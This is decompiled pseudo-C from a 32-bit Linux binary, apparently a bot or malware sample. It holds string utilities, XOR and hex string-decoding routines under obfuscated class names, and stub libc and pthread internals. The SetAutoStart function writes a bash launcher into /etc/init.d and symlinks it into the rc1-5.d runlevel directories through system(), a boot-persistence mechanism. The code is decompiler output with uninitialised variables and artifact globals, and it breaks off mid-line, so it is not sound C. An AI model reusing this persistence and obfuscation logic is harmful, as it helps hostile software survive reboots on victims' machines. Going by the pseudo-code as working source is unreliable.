0x808eb71 int32_t CUtility__EString(int32_t a1, int32_t a2, int32_t a3) { int32_t v1 = a1; int32_t v2 = g98; // 0x808eb0d g98 = a1; int32_t v3; std__allocator_lt_char_gt__598(v3); int32_t v4 = g98; // bp-44 int32_t v5; int32_t v6; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v4, a2, v3, v6, v5, 0); std__allocator_lt_char_gt_(); g98 = v2; return &v1; } // Address range: 0x808f2d6 - 0x808f309 int32_t CUtility__Sleep(int32_t * a1) { int32_t usec = 1000 * (int32_t)a1; // 0x808f2f8 g95 = usec; return usleep(usec); } // Address range: 0x808f30a - 0x808f415 int32_t CUtility__GetFileA(int32_t * a1, int32_t a2, int32_t a3) { int32_t v1; int32_t v2 = v1; // bp-16 g95 = a3; int32_t v3; std__allocator_lt_char_gt__598(v3); int32_t v4; int32_t v5; int32_t v6; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v4, a2, v3, v6, v5, 0); std__allocator_lt_char_gt_(); int32_t v7 = std__string__rfind(&v4, (char)(0x1000000 * a3 / 0x1000000), -1, 0x808f339); // 0x808f37e std__string__substr(v1, &v4, v7 + 1, -1); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2); int32_t result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4); // 0x808f409 return result; } // Address range: 0x808f416 - 0x808f545 int32_t CUtility__GetPathA(char * a1, int32_t a2, char * a3) { int32_t v1; int32_t v2 = v1; // bp-16 int32_t v3 = (int32_t)a3; // 0x808f41d g95 = v3; int32_t v4; std__allocator_lt_char_gt__598(v4); int32_t v5; int32_t v6; int32_t v7; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v5, a2, v4, v7, v6, 0); std__allocator_lt_char_gt_(); int32_t v8 = 0x1000000 * v3 / 0x1000000; // 0x808f47c int32_t v9 = std__string__rfind(&v5, (char)v8, -1, 0x808f445); // 0x808f48a std__string__substr(v1, &v5, (int32_t)g2, v9); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2); if (std__string__empty((int32_t *)a1) != 0) { int32_t v10 = v8; std__string__operator_eq__651((int32_t *)a1, (int32_t **)&v10); // branch -> 0x808f531 } int32_t result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v5); // 0x808f538 return result; } // Address range: 0x808f5b2 - 0x808f6a3 int32_t CUtility__GetParentPath(int32_t result) { int32_t v1 = g98; // 0x808f5b5 int32_t * v2; memcpy(v2, (int32_t *)0x8106a40, 256); _IO_sprintf((int32_t)v2, (int32_t)"/proc/%d/exe", getppid()); g95 = 256; int32_t * v3; memcpy(v3, (int32_t *)0x8106940, 256); readlink((char *)v2, (char *)v3, 255); g98 = result; int32_t v4; std__allocator_lt_char_gt__598(v4); int32_t v5 = g98; // bp-556 int32_t v6; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v5, (int32_t)v3, v4, 0x808f5df, v6, 0); std__allocator_lt_char_gt_(); g98 = v1; return result; } // Address range: 0x808f6a6 - 0x808f6ff int32_t CUtility__GetTickCount(void) { // 0x808f6a6 int32_t * tp; gettimeofday(tp, &g2->e0); int32_t v1; int32_t v2 = v1 / 1000; // 0x808f6f3 g95 = v2; int32_t result = v2 + 1000 * (int32_t)tp; // 0x808f6f7 g97 = result / -0x80000000; return result; } // Address range: 0x808f7b8 - 0x808f877 int32_t CUtility__GetDoFun(struct struct_45 * a1, struct struct_45 * a2) { // 0x808f7b8 int32_t v1; int32_t v2 = v1; // bp-12 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&a1->e0); CMd5A__MDString(&a1->e0, a2); uint32_t v3 = std__string__length(&a1->e0); // 0x808f7e7 if (((int32_t)(v3 < 15) || v3 & -256) != 1) { // 0x808f7f9 std__string__substr(v1, &a1->e0, (int32_t)g2, 14); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2); // branch -> 0x808f870 } // 0x808f870 return (int32_t)a1; } // Address range: 0x808f9ea - 0x808fa11 int32_t CUtility__IntDe(int32_t a1) { int32_t v1 = a1 - 1783; // 0x808f9f0 int32_t v2 = v1 / -0x80000000; // 0x808fa07 g95 = v2; return ((int32_t)(-0x4de9bd37 * (int64_t)v1 / 0x100000000) + v1) / 16 - v2; } // Address range: 0x808fa12 - 0x808fa4d int32_t CDjfl87__QQifu1(int32_t a1) { // 0x808fa12 if (a1 < 0) { // 0x808fa33 // branch -> 0x808fa48 // 0x808fa48 return 0; } // 0x808fa22 int32_t v1; // 0x808fa42 if (a1 > 9) { // 0x808fa39 if ((uint32_t)a1 <= 15) { // 0x808fa3f v1 = a1 + 55; g95 = v1; // branch -> 0x808fa48 } else { v1 = 0; } } else { int32_t v2 = a1 + 48; // 0x808fa2b g95 = v2; v1 = v2; // branch -> 0x808fa48 } // 0x808fa48 return 0x1000000 * v1 / 0x1000000; } // Address range: 0x808fa4e - 0x808fa93 int32_t CDjfl87__QQifu2(int32_t a1) { // 0x808fa4e g95 = a1; unsigned char v1 = (char)a1; // 0x808fa57 int32_t v2 = 0x1000000 * a1; int32_t v3 = v2 / 0x1000000; int32_t result; // 0x808fa8f2 int32_t v4; // 0x808fa89 if (v2 < 0x30000000) { // 0x808fa79 if (v1 < 65) { // 0x808fa8f return 0; } // 0x808fa7f if (v1 <= 70) { // 0x808fa85 v4 = v3 - 55; g95 = v4; result = v4; // branch -> 0x808fa8f } else { result = 0; } // 0x808fa8f return result; } // 0x808fa67 if (v1 <= 57) { int32_t result2 = v3 - 48; // 0x808fa71 g95 = result2; // branch -> 0x808fa8f // 0x808fa8f return result2; } // 0x808fa79 if (v1 < 65) { // 0x808fa8f return 0; } // 0x808fa7f if (v1 <= 70) { // 0x808fa85 v4 = v3 - 55; g95 = v4; result = v4; // branch -> 0x808fa8f } else { result = 0; } // 0x808fa8f return result; } // Address range: 0x808fa94 - 0x808fb49 int32_t CDjfl87__QQifu3(int32_t result, int32_t * a2, int32_t a3) { int32_t v1 = result; // bp-44 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v1); g95 = 0; if (a3 <= 0) { // 0x808fb42 return result; } int32_t v2 = 0; char * v3 = (char *)(v2 + (int32_t)a2); // 0x808fab9_0 int32_t v4 = CDjfl87__QQifu1((int32_t)(*v3 / 16)); // 0x808fac7 v1 = result; std__string__append(&v1, 1, (char)(0x1000000 * v4 / 0x1000000)); int32_t v5 = CDjfl87__QQifu1((int32_t)(*v3 % 16)); // 0x808faf3 g97 = result; v1 = result; std__string__append(&v1, 1, (char)(0x1000000 * v5 / 0x1000000)); int32_t v6 = v2 + 1; // 0x808fb13 g95 = v6; while (v6 != a3) { // 0x808fab3 v2 = v6; v3 = (char *)(v2 + (int32_t)a2); v4 = CDjfl87__QQifu1((int32_t)(*v3 / 16)); v1 = result; std__string__append(&v1, 1, (char)(0x1000000 * v4 / 0x1000000)); v5 = CDjfl87__QQifu1((int32_t)(*v3 % 16)); g97 = result; v1 = result; std__string__append(&v1, 1, (char)(0x1000000 * v5 / 0x1000000)); v6 = v2 + 1; g95 = v6; // continue -> 0x808fab3 } // 0x808fb42 return result; } // Address range: 0x808fb4c - 0x808fbd3 int32_t CDjfl87__QQifu4(struct struct_59 * a1, int32_t * a2, int32_t * a3, int32_t a4) { int32_t v1 = (int32_t)(a2 < NULL) + (int32_t)a2; // 0x808fbc2 int32_t result = 0; if (v1 > 1) { int32_t v2 = 0; int32_t v3 = 0; // 0x808fbcb418 while (true) { // 0x808fb63 g98 = g98 & -256 | 16 * CDjfl87__QQifu2((int32_t)a1->e0) & 240; int32_t v4 = g98 + CDjfl87__QQifu2((int32_t)a1->e0); // 0x808fb95 int32_t v5 = v3; // 0x808fbcb3 if (v2 < a4) { // 0x808fba3 *(char *)(v2 + (int32_t)a3) = (char)v4; v5 = v3 + 1; // branch -> 0x808fbb5 } int32_t v6 = v2 + 1; // 0x808fbb8 if (v1 / 2 > v6) { // 0x808fbb5 v2 = v6; v3 = v5; // branch -> 0x808fb63 continue; } else { result = v5; } } } // 0x808fbcb return result; } // Address range: 0x808fbd4 - 0x808fcb5 int32_t CDjfl87__QQifu5(int32_t result, int32_t a2, int32_t a3) { int32_t v1 = g101; // 0x808fbd8 int32_t v2 = g98; // 0x808fbd9 int32_t * v3; memcpy(v3, (int32_t *)0x8106b60, 512); int32_t v4 = 0; // bp-552 int32_t v5 = 0; // bp-548 int32_t v6 = 0; // branch -> 0x808fc50 while (true) { // 0x808fc50 v4 = a2; if (-((-1 * strlen((char *)&v4))) <= v6) { // 0x808fc73 g97 = result; int32_t v7 = a2; // bp-556 int32_t len = strlen((char *)&v7); // 0x808fc8d CDjfl87__QQifu3(g97, v3, -((-1 * len))); g98 = v2; g101 = v1; return result; } // 0x808fc07 g98 = v6; g101 = (int32_t)*(char *)(v6 + a2); v5 = a3; int32_t len2 = strlen((char *)&v5); // 0x808fc2a int32_t v8 = (int32_t)((0x100000000 * (int64_t)(v6 / -0x80000000) | (int64_t)v6) % (int64_t)len2) + a3; // 0x808fc3d unsigned char v9 = *(char *)v8; // 0x808fc40 v3 = (int32_t *)(((v8 & -256 | (int32_t)v9) ^ g101) % 256); v6++; // branch -> 0x808fc50 } } // Address range: 0x808fcb6 - 0x808fe0b int32_t CDjfl87__QQifu6(struct struct_59 * a1, struct struct_59 * a2, int32_t a3) { int32_t v1 = g101; // 0x808fcba int32_t v2 = g98; // 0x808fcbb int32_t * v3; memcpy(v3, (int32_t *)0x8106f60, 512); struct struct_59 * v4 = (struct struct_59 *)(int32_t)a2->e0; // 0x808fce8_0 int32_t len = strlen((char *)(int32_t)v4->e0); // 0x808fcf7 struct struct_59 * v5 = (struct struct_59 *)(int32_t)a2->e0; // 0x808fd0d_0 int32_t v6 = CDjfl87__QQifu4(v5, (int32_t *)-((-1 * len)), v3, 511); // 0x808fd10 int32_t * v7; memcpy(v7, (int32_t *)0x8106d60, 512); int32_t v8 = 0; // bp-1064 g95 = 0; if (v6 > 0) { int32_t v9 = 0; g101 = (int32_t)v3; v8 = a3; int32_t len2 = strlen((char *)&v8); // 0x808fd67 int32_t v10 = (int32_t)((0x100000000 * (int64_t)(v9 / -0x80000000) | (int64_t)v9) % (int64_t)len2) + a3; // 0x808fd7a unsigned char v11 = *(char *)v10; // 0x808fd7d int32_t v12 = v9 + 1; // 0x808fd8b g95 = v12; while (v12 != v6) { // 0x808fd42 v9 = v12; g101 = (int32_t)v3; v8 = a3; len2 = strlen((char *)&v8); v10 = (int32_t)((0x100000000 * (int64_t)(v9 / -0x80000000) | (int64_t)v9) % (int64_t)len2) + a3; v11 = *(char *)v10; v12 = v9 + 1; g95 = v12; // continue -> 0x808fd42 } int32_t * v13 = (int32_t *)(((v10 & -256 | (int32_t)v11) ^ g101) % 256); // 0x808fd81_0 v7 = v13; // branch -> 0x808fd95 } // 0x808fd95 g98 = a1->e0; int32_t v14; std__allocator_lt_char_gt__598(v14); char v15 = NULL->e0; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)g98, (int32_t)v7, v14, 511, (int32_t)v15, v8); std__allocator_lt_char_gt_(); g98 = v2; g101 = v1; return a1->e0; } // Address range: 0x808fee8 - 0x80900d5 int32_t CUtility__Split(struct struct_3 * a1, char * a2, int32_t a3) { struct struct_3 * v1 = NULL; // bp-33 int32_t v2 = (int32_t)a2; // 0x808fef5 std__allocator_lt_std__string_gt__42((int32_t)v1); std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_(a1, v1); std__allocator_lt_std__string_gt_(&v1->e0); if (((int32_t)*a2 || v2 & -256) != 0) { // branch -> 0x808ff37 lab_0x62766a0: while (true) { int32_t v3 = v2; // 0x808fff915 char * v4 = a2; // 0x0214 // branch -> 0x808ff37 int32_t v5; // 0x808ff4a char * v6; // 0x808ff4a_3 int32_t v7; while (true) { // 0x808ff37 if (*v4 == (char)a3) { // 0x808ff51 int32_t v8; std__allocator_lt_char_gt__598(v8); int32_t v9 = (int32_t)a2; // 0x808ff63 int32_t * v10; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__678(v10, v9, v3 - v9, v8, v7, 0, 0); std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___push_back(&a1->e0, v10); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v10); std__allocator_lt_char_gt_(); int32_t v11 = v3 + 1; // 0x808fff1 char * v12 = (char *)v11; // 0x808fff1_3 if (((int32_t)*v12 || v11 & -256) == 0) { // break (via goto) -> 0x8090006 goto lab_0x6276fa0; } v2 = v11; a2 = v12; // continue (via goto) -> 0x808ff37 goto lab_0x62766a0; } else { // 0x808ff47 v5 = v3 + 1; v6 = (char *)v5; if (((int32_t)*v6 || v5 & -256) == 0) { // break -> 0x8090006 break; } v3 = v5; v4 = v6; // continue -> 0x808ff37 continue; } struct struct_3 * v13 = a1; // 0x80900ce_0 return (int32_t)v13; } int32_t v14 = (int32_t)a2; // 0x8090009 int32_t v15 = v5 - v14; // 0x8090009 if (v6 != a2) { // 0x8090012 int32_t v16; std__allocator_lt_char_gt__598(v16); int32_t * v17; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__678(v17, v14, v15, v16, v7, 0, 0); std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___push_back(&a1->e0, v17); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v17); std__allocator_lt_char_gt_(); // branch -> 0x80900ce } // 0x80900ce return (int32_t)a1; } } lab_0x6276fa0: // 0x8090006 // branch -> 0x80900ce // 0x80900ce return (int32_t)a1; } // Address range: 0x80900d8 - 0x809028b int32_t CUtility__Split_541(char * a1, int32_t a2, int32_t * a3) { int32_t v1 = (int32_t)a1; // 0x80901bd725 if (((int32_t)*a1 || v1 & -256) != 0) { // branch -> 0x80900f6 lab_0x6289110: while (true) { int32_t v2 = v1; // 0x80901bd16 char * v3 = a1; // 0x0315 // branch -> 0x80900f6 int32_t v4; // 0x8090109 int32_t * v5; char * v6; // 0x8090109_3 int32_t * v7; while (true) { // 0x80900f6 if (*v3 == (char)a2) { // 0x8090110 int32_t v8; std__allocator_lt_char_gt__598(v8); int32_t v9 = (int32_t)a1; // 0x8090122 int32_t v10 = v2 - v9; // 0x8090127 g96 = v10; int32_t v11; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__678(v7, v9, v10, v8, v11, 0, 0); std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___push_back(a3, v7); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v7); std__allocator_lt_char_gt_(); int32_t v12 = v2 + 1; // 0x80901b5 char * v13 = (char *)v12; // 0x80901b5_3 if (((int32_t)*v13 || v12 & -256) == 0) { // break (via goto) -> 0x80901ca goto lab_0x6289a90; } v1 = v12; v5 = (int32_t *)v10; a1 = v13; // continue (via goto) -> 0x80900f6 goto lab_0x6289110; } else { // 0x8090106 v4 = v2 + 1; v6 = (char *)v4; if (((int32_t)*v6 || v4 & -256) == 0) { // break -> 0x80901ca break; } v2 = v4; v3 = v6; // continue -> 0x80900f6 continue; } // 0x8090278 return std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size((int32_t **)a3); } int32_t v14 = (int32_t)a1; // 0x80901cd int32_t v15 = v4 - v14; // 0x80901cd if (v6 != a1) { // 0x80901d6 int32_t v16; std__allocator_lt_char_gt__598(v16); g96 = v15; int32_t v17 = (int32_t)v7; // 0x80901ff int32_t * v18; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__678(v18, v14, v15, v16, v17, v17, (int32_t)v5); std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___push_back(a3, v18); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v18); std__allocator_lt_char_gt_(); // branch -> 0x8090278 } // 0x8090278 return std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size((int32_t **)a3); } } lab_0x6289a90: // 0x80901ca // branch -> 0x8090278 // 0x8090278 return std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size((int32_t **)a3); } // Address range: 0x809028c - 0x8090463 int32_t CUtility__GetModuleFullPath(int32_t * a1) { int32_t v1 = g101; // 0x809028f int32_t v2 = g98; // 0x8090290 int32_t v3; std__allocator_lt_char_gt__598(v3); int32_t * v4; std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__52((struct struct_6 *)v4, v3); std__allocator_lt_char_gt_(); char * v5; int32_t * v6; std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95((int32_t **)v5, (int32_t *)1024, (int32_t)v6); g98 = getpid(); struct struct_18 * v7 = g2; // 0x80902fd_5 int32_t v8 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v5, &v7->e0); // 0x80902fd _IO_sprintf(v8, (int32_t)"/proc/%d/exe", g98); int32_t v9; int32_t v10 = &v9; // 0x80903b2 int32_t * v11 = (int32_t *)1024; // 0x809039c_21 // branch -> 0x8090317 int32_t result; // 0x809038e while (true) { int32_t v12 = (int32_t)v11; // 0x8090317 std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___resize_70((int32_t **)v4, v11); g98 = v12; int32_t v13 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v4, &v7->e0); // 0x809033c memset((int32_t *)v13, (int32_t)v7, g98); g101 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v4); int32_t v14 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v4, &v7->e0); // 0x809036d g98 = v14; int32_t v15 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v5, &v7->e0); // 0x8090380 result = readlink((char *)v15, (char *)g98, g101); int32_t v16 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v4, (int32_t *)(v12 - 1)) & -256 | v10; // 0x80903b2 char v17; if (v16 != 0) { // 0x80903b8 if (v11 <= (int32_t *)0xffff) { v17 = 1; lab_0x6299460: // 0x80903cb if (((int32_t)v17 || v16 & -256) == 0) { // break -> 0x80903d6 break; } v11 = (int32_t *)(2 * v12); // continue -> 0x8090317 continue; } // 0x80903c7 v17 = 0; // branch -> 0x80903cb goto lab_0x6299460; } // 0x80903c7 v17 = 0; // branch -> 0x80903cb goto lab_0x6299460; } int32_t v18 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v4, &v7->e0); // 0x80903df std__string__operator_eq_((int32_t **)a1, (char *)v18); std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v5); std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v4); g98 = v2; g101 = v1; return result; } // Address range: 0x8090464 - 0x809077f int32_t CUtility__SetAutoStart(char * a1, int32_t * a2, int32_t a3) { // 0x8090464 int32_t v1; int32_t v2 = v1; // bp-824 int32_t * v3; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(v3); CUtility__GetModuleFullPath(v3); int32_t result2 = 0; // 0x80907722 if (std__string__empty(v3) == 0) { // 0x80904af CUtility__Sleep((int32_t *)1000); int32_t v4; std__allocator_lt_char_gt__598(v4); char * v5; int32_t v6; int32_t v7; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)v5, (int32_t)"/etc/init.d/", v4, v7, v6, v1); char * v8; _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_PKS3_((int32_t *)v8, v5, a1); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v5); std__allocator_lt_char_gt_(); int32_t fd = open((char *)std__string__c_str((int32_t *)v8), 578); // 0x8090584 int32_t result = 0; // 0x80907723 if (fd > 0) { // 0x80905a4 int32_t * v9; memcpy(v9, (int32_t *)0x81073a0, 256); _IO_sprintf((int32_t)v9, (int32_t)"#!/bin/bash\n%s\n", std__string__c_str(v3)); strlen((char *)&v2); __libc_write(); close(fd); // branch -> 0x809063a for (uint32_t i = 0; i < 5; i++) { // 0x809063a int32_t * v10; memcpy(v10, (int32_t *)0x81072a0, 256); int32_t * v11; memcpy(v11, (int32_t *)0x81071a0, 256); int32_t v12 = i + 1; // 0x8090679 _IO_sprintf((int32_t)v11, (int32_t)"/etc/rc%d.d/S%d%s", v12); int32_t v13 = access((char *)v11, (int32_t)g2); // 0x80906a4 if (((int32_t)(v13 == 0) || v13 & -256) == 0) { // 0x80906b5 _IO_sprintf((int32_t)v10, (int32_t)"ln -s /etc/init.d/%s %s", (int32_t)a1); system((char *)v10); // branch -> 0x80906e5 } // 0x80906e5 // PHI copies at the loop end result = 1; // loop 0x809063a end } // 0x8090723 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v8); // branch -> 0x8090763 // 0x8090763 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v3); return result; } // 0x8090723 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v8); result2 = result; // branch -> 0x8090763 } // 0x8090763 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v3); return result2; } // Address range: 0x8090780 - 0x8090873 int32_t CUtility__GetCurrentPathFile(int32_t * a1, char * a2) { // 0x8090780 int32_t * v1; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(v1); char * v2; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_((int32_t *)v2); CUtility__GetModuleFullPath(v1); CUtility__GetPathA(v2, std__string__c_str(v1), (char *)47); std__string__append((int32_t *)v2, 1, 47); _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_PKS3_(a1, v2, a2); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v2); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v1); return (int32_t)a1; } // Address range: 0x8090876 - 0x809092f int32_t CUtility__GetCurrentPathFile_542(int32_t * a1) { // 0x8090876 int32_t * v1; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(v1); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(a1); CUtility__GetModuleFullPath(v1); CUtility__GetFileA(a1, std__string__c_str(v1), 47); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v1); return (int32_t)a1; } // Address range: 0x8091274 - 0x8091285 int32_t __pthread_create_2_1(int32_t a1) { // 0x8091274 int32_t result; g95 = result; return result; } // Address range: 0x8091efc - 0x8091f1f int32_t __pthread_attr_init_2_1(int32_t a1) { memset(&a1, 0, 9); *(int32_t *)(a1 + 12) = getpagesize(); return 0; } // Address range: 0x8091fc4 - 0x8091ff5 int32_t __pthread_mutex_lock_internal(struct struct_3 * a1, int32_t * a2, int32_t * a3, int32_t * a4) { // 0x8091fc4 g98 = (int32_t)a1; g95 = 0; g96 = 1; int32_t v1 = a1->e0; // 0x8091ff2 int32_t result; // 0x8091ff5_1 if (v1 == 0) { // if_8091ff2_3_true a1->e0 = 1; result = g95; // branch -> after_if_8091ff2_3 } else { // if_8091ff2_3_false g95 = v1; result = v1; // branch -> after_if_8091ff2_3 } // after_if_8091ff2_3 return result; } // Address range: 0x8092158 - 0x8092173 int32_t __pthread_mutex_unlock_usercnt(int32_t a1, int32_t a2) { int32_t v1 = g95; // 0x809215b g96 = v1; g95 = *(int32_t *)(v1 + 12); *(int32_t *)(v1 + 8) = 0; return g95; } // Address range: 0x80921c8 - 0x80921e9 int32_t __pthread_mutex_unlock_internal(struct struct_45 * a1) { // 0x80921c8 g97 = (int32_t)a1; g95 = a1->e3; a1->e2 = 0; int32_t * v1 = (int32_t *)(g97 + 16); // 0x80921e2_0 *v1 = *v1 - 1; int32_t * v2 = (int32_t *)g97; // 0x80921e6_0 *v2 = *v2 - 1; return g95; } // Address range: 0x8092240 - 0x80922c3 int32_t __pthread_cond_init(struct struct_82 * a1, char * a2) { int32_t v1 = (int32_t)a2; a1->e0 = 0; a1->e1 = 0; int32_t v2; int32_t v3; // 0x809228e if (v1 == 0) { // 0x809225f v2 = 0; // branch -> 0x8092261 // 0x8092261 g96 = v2; a1->e9 = v2; a1->e2 = 0; a1->e3 = 0; a1->e4 = 0; a1->e5 = 0; a1->e6 = 0; a1->e7 = 0; v3 = v1; if (v3 == 0 || *(char *)v3 == 1) { // 0x8092297 a1->e8 = 0; a1->e10 = 0; return 0; } // 0x80922b0 a1->e8 = -1; a1->e10 = 0; return 0; } // 0x809225a if (*(char *)v1 != 2) { v2 = 1; // 0x8092261 g96 = v2; a1->e9 = v2; a1->e2 = 0; a1->e3 = 0; a1->e4 = 0; a1->e5 = 0; a1->e6 = 0; a1->e7 = 0; v3 = v1; if (v3 == 0 || *(char *)v3 == 1) { // 0x8092297 a1->e8 = 0; a1->e10 = 0; return 0; } // 0x80922b0 a1->e8 = -1; a1->e10 = 0; return 0; } // 0x809225f v2 = 0; // branch -> 0x8092261 // 0x8092261 g96 = v2; a1->e9 = v2; a1->e2 = 0; a1->e3 = 0; a1->e4 = 0; a1->e5 = 0; a1->e6 = 0; a1->e7 = 0; v3 = v1; if (v3 == 0 || *(char *)v3 == 1) { // 0x8092297 a1->e8 = 0; a1->e10 = 0; return 0; } // 0x80922b0 a1->e8 = -1; a1->e10 = 0; return 0; } // Address range: 0x8092e1c - 0x8092e57 int32_t __pthread_unwind(int32_t a1) { // 0x8092e1c _Unwind_ForcedUnwind(g96 + 544); abort(); // UNREACHABLE } // Address range: 0x8092e98 - 0x8092eeb int32_t __pthread_enable_asynccancel(void) { int32_t v1 = g100; // 0x8092e98 int32_t result = g98; // 0x8092e9b int32_t * v2 = (int32_t *)result; // 0x8092e9b_0 int32_t v3 = result | 2; // 0x8092ea54 if (result == v3) { // 0x8092ec3 g98 = (int32_t)v2; g100 = v1; return result; } int32_t result3; // 0x8092ee7 while (true) { // 0x8092eac g95 = result; int32_t * v4 = v2; int32_t result2 = result; if ((v3 & -5) == 10) { // 0x8092ec8 __pthread_unwind(v1); result3 = g95; int32_t v5 = result3 | 2; // 0x8092ea5 if (result3 == v5) { // break -> 0x8092ec3 break; } v3 = v5; v2 = (int32_t *)0x8092ee7; result = result3; // continue -> 0x8092eac continue; } // 0x8092ec3 g98 = (int32_t)v4; g100 = v1; return result2; } // 0x8092ec3 g98 = (int32_t)(int32_t *)0x8092ee7; g100 = v1; return result3; } // Address range: 0x8092eec - 0x8092f1f int32_t __pthread_disable_asynccancel(int32_t a1, int32_t a2) { // 0x8092eec if ((g95 & 2) == 0) { // 0x8092efb if (g96 != (g96 & -3)) { while ((g96 & -256 || 1) == 1 && g96 != (g96 & -3)) { // 0x8092f04 // continue -> 0x8092f04 } // 0x8092f1b // branch -> 0x8092f1b // 0x8092f1b return g96; } // 0x8092f1b // branch -> 0x8092f1b } // 0x8092f1b return g96; } // Address range: 0x8092f20 - 0x8092f45 int32_t __lll_mutex_lock_wait(int32_t a1, int32_t a2) { int32_t v1 = g96; // 0x8092f28 g96 = 0; if (g95 == 2) { // 0x8092f32 // branch -> 0x8092f39 } // 0x8092f39 g95 = 2; int32_t * v2 = (int32_t *)v1; // 0x8092f3b_0 *v2 = 2; return *v2; } // Address range: 0x8093020 - 0x809303f int32_t __lll_mutex_unlock_wake(int32_t a1) { // 0x8093020 *(int32_t *)g95 = 0; return 240; } // Address range: 0x80930b0 - 0x80930b8 void __libc_write(void) { // 0x80930b0 return; } // Address range: 0x80930ba - 0x80930da int32_t __write_nocancel(int32_t * a1, int32_t a2, int32_t * a3, int32_t a4) { // 0x80930ba g97 = (int32_t)a3; g96 = a2; return 4; } // Address range: 0x80933b0 - 0x809340f int32_t __libc_recvfrom(int32_t a1) { // 0x80933b0 if (g103) { // 0x80933ba return 102; } int32_t v1 = g101; // 0x80933d8 g95 = __pthread_enable_asynccancel(); int32_t v2; __pthread_disable_asynccancel(v1, v2); g101 = v1; return 102; } // Address range: 0x80934d0 - 0x80937b2 int32_t __libc_lseek(int32_t a1, int32_t a2, int32_t a3) { // 0x80934d0 g97 = a3; return 19; } // Address range: 0x8094324 - 